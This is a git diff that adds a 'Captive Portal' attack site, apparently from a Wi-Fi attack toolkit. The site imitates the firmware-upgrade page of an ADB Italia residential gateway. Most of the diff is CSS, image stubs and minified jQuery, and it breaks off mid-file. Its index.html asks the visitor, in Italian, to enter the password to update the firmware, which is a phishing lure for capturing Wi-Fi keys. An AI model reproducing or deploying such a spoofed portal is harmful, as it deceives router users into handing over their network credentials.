5px; + margin-bottom: 0px; + margin-top: 15px; + min-height: 370px; + overflow-x: auto; +} + +div.form fieldset.form { + min-height: 180px; +} + +div.scroll { + width: 100%; + overflow: auto; +} + +/* + * form fields + */ +fieldset.form { + clear: both; + margin-top: 3px; + padding: 20px; + margin-top: 15px; +} + +div.formField { + clear: left; + padding: 6px; + white-space: nowrap; +} + +div.formField label { + float: left; + text-align: right; + width: 30%; + margin-right: 20px; + white-space: nowrap; +} + +div.formField a { + float: left; +} + +div.formField span.texthelp { + margin-left: 20px; +} + +table.formTable { + margin-top: 15px; + margin-bottom: 10px; +} + +thead.formHeader { + height: 26px; +} + +tr.formRow a { + vertical-align: middle; +} + +/* + * TODO move this to perms .css ! + */ +tr.formRowSect { + background-color: #DDDDCC; + color: #006611; + font-weight: bold; +} +/* + * TODO move this to perms .css ! + */ +tr.formRowSect td { + border: 1px outset #EEEEFF; +} + +tr.formRow table td { + border: 0px; +} + +/* + * information fields + */ +div.infoField { + clear: left; + margin: 3px; +} + +div.infoField label { + float: left; +} + +div.infoField .text { + float: right; + font-weight: bold; + white-space: nowrap; +} + +div.infoField .texterror { + float: right; + font-weight: bold; + white-space: nowrap; +} + +div.infoField div.text { + padding: 3px; +} + +/* + * titled separators + */ +div.titlesep { + clear: both; + margin-bottom: 10px; + margin-top: 15px; +} + +div.titlesep label { + float: left; +} + +div.titlesep hr { + margin-left: 5px; + margin-top: 8px; +} + +div.togglesep { + cursor: pointer; +} + +div.togglesep label { + cursor: pointer; +} + +/* + * info, result, warning, error boxes + */ +div.infoBox { + clear: both; +} + +div.msgBox { + overflow: visible; + display: block; + margin: 10px; + + font-weight: bold; + padding-top: 12px; + padding-bottom: 15px; + padding-right: 5px; + padding-left: 40px; + z-index: 9999; + + border-radius: 3px; + -moz-border-radius: 3px; + -webkit-border-radius: 3px; + + box-shadow: 3px 3px 3px #444444; + -moz-box-shadow: 3px 3px 3px #444444; + -webkit-box-shadow: 3px 3px 3px #444444; +} + +div.phaseImage { + float: left; + padding: 10px; + vertical-align: middle; +} + +div.phaseDescription { + margin: 15px; +} + +div.msgBox a.closeLink { + float: right; + top: 0px; + right: 5px; + margin: 1px; +} + +div.msgBox a.closeLink:hover { + border: 1px outset #FFFFAA; + margin: 0px; +} + +/* + * Navigation bar + */ +div#navigationBar { + clear: both; + margin-top: 10px; + margin-left: 10px; + margin-right: 10px; + height: 28px; +} + +div#navigationBar ul { + float: left; + display: block; + margin-top: 5px; + margin-right: 6px; + padding-top: 0px; + padding-left: 5px; + margin-left: 0px; +} + +div#navigationBar li { + display: inline; + color: white; + font-weight: bold; +} + +div#navigationBar a { + color: white; + font-weight: bold; + font-size: 11pt; + outline: 0px; +} + +div#userguide { + float: left; + margin-left: 500px; + display: block; + margin-top: 5px; +} + +div#navigationBar div#logout { + color: white; + float: right; + margin-top: 5px; + margin-right: 5px; + display: block; +} + +div#navigationBar div.reboot { + color: white; + float: right; + margin-top: 5px; + margin-right: 30px; + display: block; +} + +/* + * under construction pages + */ +div#underConstruction { + border: 1px solid #AAAA00; + background-color: #EFEF99; + background-image: url("../images/UnderConstruction48.png"); + background-repeat: no-repeat; + background-position: 10px 10px; + padding-left: 70px; + padding-top: 25px; + padding-bottom: 25px; + font-size: 16px; + color: #911; +} + +/* + * Panel buttons and links + */ +div.buttons { + float: right; + margin-top: 10px; + margin-bottom: 5px; +} + +div.buttons input { + margin-left: 10px; + padding: 3px; + height: 32px; +} + +ul.links { + float: left; + margin-top: 10px; + padding-left: 0px; + margin-left: 0px; +} + +ul.links li { + float: left; + display: block; + margin-right: 15px; + margin-left: 0px; +} + +ul.links a:hover { + font-weight: normal; +} + +/* + * Search bar + */ +div.searchInput { + float: left; + margin-top: 10px; + margin-bottom: 5px; + padding-left: 10px; +} + +/* + * Status Box + */ + +div.boxStatusError { + background: rgba(256, 18, 18, 0.4); + border: 2px solid #FF1212; +} + +div.boxStatusNotUp { + background: rgba(204, 204, 204, 0.8); + border: 2px solid #BBBBBB; +} + +div.boxStatusUp { + background: rgba(85, 238, 85, 0.4); + border: 2px solid #55EE55; +} + +div.boxDisabled { + opacity: 0.6; + filter: alpha(opacity=60); +} + +div.boxStatus { + float: left; + + padding-top: 5px; + margin-bottom: 5px; + margin-right: 10px; + + border-radius: 6px; + -moz-border-radius: 6px; + -webkit-border-radius: 6px; + + box-shadow: 2px 2px 2px #444444; + -moz-box-shadow: 2px 2px 2px #444444; + -webkit-box-shadow: 2px 2px 2px #444444; +} + +div.previewPanel div.boxStatus a.icon { + width:90px; + height:50px; +} + +div.progressbar { + width: 96%; + height: 20px; + padding-right: 2px; + + border-radius: 2px; + -moz-border-radius: 2px; + -webkit-border-radius: 2px; +} + +div.progressbar div.progress { + width: 0%; + height: 18px; + + border-radius: 2px; + -moz-border-radius: 2px; + -webkit-border-radius: 2px; +} diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/helpwidget.css b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/helpwidget.css new file mode 100644 index 0000000..b912f34 --- /dev/null +++ b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/helpwidget.css @@ -0,0 +1,91 @@ +/* simple css-based tooltip */ +.help_page_tooltip { + background-color:#000; + border:1px solid #fff; + padding:10px 15px; + width:200px; + display:none; + color:#fff; + text-align:left; + font-size:12px; + z-index:10001; + + /* styling */ + color: #000000; + background-color: #FFFFCC; + border: 1px solid white; + + box-shadow: 7px 7px 6px #444444; + -moz-box-shadow: 7px 7px 6px #444444; + -webkit-box-shadow: 7px 7px 6px #444444; + + border-radius: 6px; + -moz-border-radius: 6px; + -webkit-border-radius: 6px; + + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#FFFFCC), to(#FFFF66)); + background: -webkit-linear-gradient(top, #FFFFCC, #FFFF66); + background: -moz-linear-gradient(top, #FFFFCC, #FFFF66); + background: -ms-linear-gradient(top, #FFFFCC, #FFFF66); + background: -o-linear-gradient(top, #FFFFCC, #FFFF66); + + filter: alpha(opacity=90); +} + +/* the overlayed element */ + +.help_page_overlay { + + /* must be initially hidden */ + display:none; + + padding: 2px 2px 2px 8px; + + /* place overlay on top of other elements */ + z-index:10000; + + right:30px; + + /* styling */ + color: #000000; + background-color: #FFFFCC; + border: 2px solid white; + + box-shadow: 7px 7px 6px #444444; + -moz-box-shadow: 7px 7px 6px #444444; + -webkit-box-shadow: 7px 7px 6px #444444; + + border-radius: 6px; + -moz-border-radius: 6px; + -webkit-border-radius: 6px; + + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#FFFFCC), to(#FFFF66)); + background: -webkit-linear-gradient(top, #FFFFCC, #FFFF66); + background: -moz-linear-gradient(top, #FFFFCC, #FFFF66); + background: -ms-linear-gradient(top, #FFFFCC, #FFFF66); + background: -o-linear-gradient(top, #FFFFCC, #FFFF66); + + filter: alpha(opacity=90); + +} + +div.contentWrap { + height:251px; + border:0px solid #333; + overflow-y:auto; +} + +/* header of help page */ +label.helpPanel { + font-weight: bold; + color: #222222; + margin-right: 5px; + margin-bottom: 3px; + float: right; +} + +img.helpPanel { + margin-left: 3px; + margin-bottom: 3px; + float: left; +} diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/style.css b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/style.css new file mode 100644 index 0000000..23b0088 --- /dev/null +++ b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/style.css @@ -0,0 +1,33 @@ +span.error { + color: #CC0000; + font-size: 10px; + font-weight: bold; +} + +progress { + display: none; + width: 25em; +} + +progress.update { + display: inline-block; +} + +.bold { + font-weight: bold !important; +} + +.red { + color: #CC0000 !important; +} + + +fieldset .bold { + display: block;/* force to a block so width and word wrap work */ + float: left;/* keep to left of following control */ + width: 183px; + margin: 1px 8px 4px 0; + padding: 0; + border: 0; + text-align: right; +} diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/theme.css b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/theme.css new file mode 100644 index 0000000..eeb1761 --- /dev/null +++ b/attacks/Captive Portal/sites/Adbepicentro_it.portal/css/theme.css @@ -0,0 +1,464 @@ +@CHARSET "UTF-8"; + +body, label, input, select, textarea { + font-size: 12px; + font-family: Verdana, sans-serif, Arial; +} + +body { + background-color: #F8F8F8; +} + +p.error { + padding: 4px; + font-weight: bold; + font-style: italic; + color: red; + background-color: yellow; + border: 1px outset red; +} + +div.error { + font-weight: bold; + font-style: italic; + border: 1px outset red; + color: red; + background-color: yellow; +} + +.textbox label { + color: black; +} + +.texterror, .texterror a { + font-weight: bold; + color: #990000; +} + +.textwarning,.textwarning a { + font-weight: bold; + color: #bb8800 +} + +.texttitle { + font-weight: bold; + color: #000077; +} + +.texthelp { + font-weight: normal; + font-style: italic; + color: #000077; +} + +.enabledLink { + font-weight: bold; + font-style: normal; +} + +.disabledLink { + font-weight: normal; + font-style: italic; +} + +.titletext { + font-weight: bold; + color: #007700; +} + +h1 { + font-size: 16px; +} + +img { + border-width: 0px; + vertical-align: middle; +} + +input, textarea { + font-weight: bold; + color: #007700; + vertical-align: middle; +} + +select { + font-weight: bold; + color: #006600; + min-height: 20px; + vertical-align: middle; +} + +select option { + font-weight: bold; + color: #008800; + line-height: 22px; + min-height: 20px; + vertical-align: middle; +} + +select option.disabled { + font-weight: normal; + font-style: italic; + color: #338833; +} + +select.invalid { + color: #AA0000; +} + +select optgroup { + font-weight: bold; + font-style: italic; + min-height: 20px; + line-height: 22px; + vertical-align: middle; + color: black; + padding-top: 6px; + padding-bottom: 4px; +} + +input.invalid { + color: #AA0000; + +/* background-image: url(../img/Warning16.png); + background-repeat: no-repeat; + background-position: right; + padding-right: 16px; + background-color: #FFDDDD; + border-bottom: 1px solid red; +*/ +} + +input.warning { + color: #FFA90C; +} + +textarea.invalid { + color: #AA0000; +} + +input.read-only { + background-color: #CCCCCC; + border: 1px solid gray; + padding: 2px; +} + +input:disabled { + color: #AAAAAA; +} + +p.error { + padding: 4px; + font-weight: bold; + font-style: italic; + color: red; + background-color: yellow; + border: 1px outset red; +} + +a.tab { + color: #EEEEEE; + font-weight: bold; + background-color: #999999; + border: 1px solid; + border-color: #999999; + + box-shadow: 4px 4px 3px #444444; + -moz-box-shadow: 4px 4px 3px #444444; + -webkit-box-shadow: 4px 4px 3px #444444; + + border-radius: 8px; + -moz-border-radius: 8px; + -webkit-border-radius: 8px; +} + +a.tabselected { + color: white; + background-color: #CB0019; + border-color: #CB0019; + + box-shadow: 6px 6px 4px #444444; + -moz-box-shadow: 6px 6px 4px #444444; + -webkit-box-shadow: 6px 6px 4px #444444; +} + +a.tab:hover { + color: white; + border-color: white; + + box-shadow: 6px 6px 4px #444444; + -moz-box-shadow: 6px 6px 4px #444444; + -webkit-box-shadow: 6px 6px 4px #444444; +} + +div#header { + background-color: #EEEEEE; + border-top: 4px solid #DC012A; + border-bottom: 3px solid #DDDDDD; +} + +div#header img#logo { + margin-left: 10px; + margin-top: 3px; +} + +div.formGraphics { + width: 80px; + + background-color: #CB0019; + + box-shadow: 5px 5px 4px #444444; + -moz-box-shadow: 5px 5px 4px #444444; + -webkit-box-shadow: 5px 5px 4px #444444; + + border-radius: 10px; + -moz-border-radius: 10px; + -webkit-border-radius: 10px; + + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#CB0019), to(#FFCCCC)); + background: -webkit-linear-gradient(top, #CB0019, #FFCCCC); + background: -moz-linear-gradient(top, #CB0019, #FFCCCC); + background: -ms-linear-gradient(top, #CB0019, #FFCCCC); + background: -o-linear-gradient(top, #CB0019, #FFCCCC); +} + +div.form { + margin-left: 105px; +} + +div.panel { + background-color: #DDDDDD; + border: 2px groove #DDDDDD; +} + +fieldset.form { + background-color: #CCCCFF; + border: 2px groove #6666FF; +} + +.text, .text a { + font-weight: bold; + color: #007700; +} + +thead.formHeader { + color: #444444; + background-color: #FFFFCC; +} + +thead.formHeader th { + border: 1px outset #FFFFAA; + font-weight: normal; +} + +tr.formRow { + background-color: #DDDDFF; + color: #006600; + font-weight: bold; +} + +tr.formRow a { + color: #006600; +} + +tr.disabledRow { + color: #559955; + font-weight: normal; + font-style: italic; +} + +tr.disabledRow td>img { + filter: alpha(opacity=50); + opacity: 0.5; +} + +tr.errorRow { + background-color: #FFDDDD; + color: #990000; +} + +tr.formRow td { + border: 1px outset #EEEEFF; +} + +tr.mainRow { + background-color: #EFEFFF; +} + +div#navigationBar { + background-color: #CB0019; + border: 2px groove #FFAAAA; + font-size: 11pt; +} + +a { + text-decoration: none; + border-width: 0px; + vertical-align: top; + color: black; + font-size: 9pt; + font-family: Verdana, sans-serif, Arial; +} + +a:hover { + text-decoration: underline; + cursor: pointer; +} + +a.icon { + color: black; +} + +a.icon:hover { + font-weight: bold; +} + +div.previewPanel { + color: #FFFFFF; + background-color: #AAAAAA; + border: 2px solid white; + + box-shadow: 7px 7px 6px #444444; + -moz-box-shadow: 7px 7px 6px #444444; + -webkit-box-shadow: 7px 7px 6px #444444; + + border-radius: 6px; + -moz-border-radius: 6px; + -webkit-border-radius: 6px; + + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#CCCCCC), to(#888888)); + background: -webkit-linear-gradient(top, #CCCCCC, #888888); + background: -moz-linear-gradient(top, #CCCCCC, #888888); + background: -ms-linear-gradient(top, #CCCCCC, #888888); + background: -o-linear-gradient(top, #CCCCCC, #888888); + + filter: alpha(opacity=90); +} + +div.previewPanel a.icon { + color: black; +} + +label.panel { + font-weight: bold; + color: #222222; +} + +div.formField label { + color: black; +} + +div.infoField label { + color: black; +} + +div.titlesep label { + font-weight: bold; + color: #000099; +} + +div.infoBox { + background-image: url("../img/Information32.png"); + background-repeat: no-repeat; + background-position: 5px 5px; + font-style: italic; + color: #000077; + padding-top: 0px; + padding-bottom: 5px; + padding-right: 5px; + padding-left: 50px; +} + +div.waitingBox { + background-image: url("../img/Waiting32.png"); + background-repeat: no-repeat; + background-position: 5px 5px; + border: 1px solid #D89815; + background-color: #F4D47B; + color: #000044; +} + +div.informationBox { + background-image: url("../img/Information32.png"); + background-repeat: no-repeat; + background-position: 5px 5px; + border: 1px solid blue; + font-style: italic; + background-color: #BBBBFF; + color: #000077; +} + +div.errorBox { + background-image: url("../img/ResultError32.png"); + background-repeat: no-repeat; + background-position: 5px 5px; + border: 1px solid red; + background-color: #FFAAAA; + color: #880000; +} + +div.warningBox { + background-image: url("../img/Warning32.png"); + background-repeat: no-repeat; + background-position: 5px 5px; + border: 1px solid #AAAA33; + background-color: #FFFFAA; + color: #664400; +} + +div.resultBox { + background-image: url("../img/ResultOk32.png"); + background-repeat: no-repeat; + background-position: 5px 5px; + border: 1px solid green; + background-color: #BBFFBB; + color: #006600; +} + +div.phaseBox { + background-repeat: no-repeat; + background-position: 5px 5px; + border: 1px solid blue; + font-weight: normal; + font-style: normal; + background-color: #BBBBFF; + color: #000077; +} + +div.phaseBox div.done { + border: 1px solid green; + background-color: #BBFFBB; + color: #006600; +} + +div.phaseBox div.skipped { + border: 1px solid gray; + background-color: lightgray; + color: gray; +} + +div.progressbar { + background-color: #DDDDDD; + + border: 1px solid #BBBBBB; +} + +div.progressbar div.progress { + border: 1px solid #BA8888; + + background-color: #CB0019; + + background: -webkit-gradient(linear, 0% 0%, 0% 100%, from(#CB0019), to(#FFCCCC)); + background: -webkit-linear-gradient(top, #CB0019, #FFCCCC); + background: -moz-linear-gradient(top, #CB0019, #FFCCCC); + background: -ms-linear-gradient(top, #CB0019, #FFCCCC); + background: -o-linear-gradient(top, #CB0019, #FFCCCC); +} + +div.log { + font-size: 10px; + background-color: #eeeeee; + padding: 5px; + border: 1px inset blue; + cursor: text; +} diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/AdminUser16.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/AdminUser16.png new file mode 100644 index 0000000..26a0255 Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/AdminUser16.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Close16.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Close16.png new file mode 100644 index 0000000..7729e64 Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Close16.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade16.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade16.png new file mode 100644 index 0000000..a3043cf Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade16.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade48.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade48.png new file mode 100644 index 0000000..957fba2 Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/FwUpgrade48.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Home16.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Home16.png new file mode 100644 index 0000000..ffb4909 Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Home16.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Information32.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Information32.png new file mode 100644 index 0000000..4501bc8 Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/Information32.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/favicon-16x16.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/favicon-16x16.png new file mode 100644 index 0000000..3bf6955 Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/favicon-16x16.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/logo.png b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/logo.png new file mode 100644 index 0000000..673dafe Binary files /dev/null and b/attacks/Captive Portal/sites/Adbepicentro_it.portal/img/logo.png differ diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/index.html b/attacks/Captive Portal/sites/Adbepicentro_it.portal/index.html new file mode 100644 index 0000000..4adbfc0 --- /dev/null +++ b/attacks/Captive Portal/sites/Adbepicentro_it.portal/index.html @@ -0,0 +1,159 @@ + + + + + + + + + Residential Gateway - ADB Italia + + + + + + + + + + +
      +
      + +
      +
      +
      + +
      +
      +
      + + DV2200_FWB_4.1.0.0253 +
      +
      + DV2200_FWB_6.9.12.1752 +
      +
      + + Inserire la password per aggiornare alla nuova + versione del Firmware +
      +
      + + +
      +
      + +
      +
      + +
      +
      +
      + +
      +
      +
      +
      +
      + + + + + + diff --git a/attacks/Captive Portal/sites/Adbepicentro_it.portal/js/jquery-2.1.4.min.js b/attacks/Captive Portal/sites/Adbepicentro_it.portal/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/attacks/Captive Portal/sites/Adbepicentro_it.portal/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(ba,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+ra(o[l]);w=aa.test(a)&&pa(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",ea,!1):e.attachEvent&&e.attachEvent("onunload",ea)),p=!f(g),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(ca,da);return function(a){var 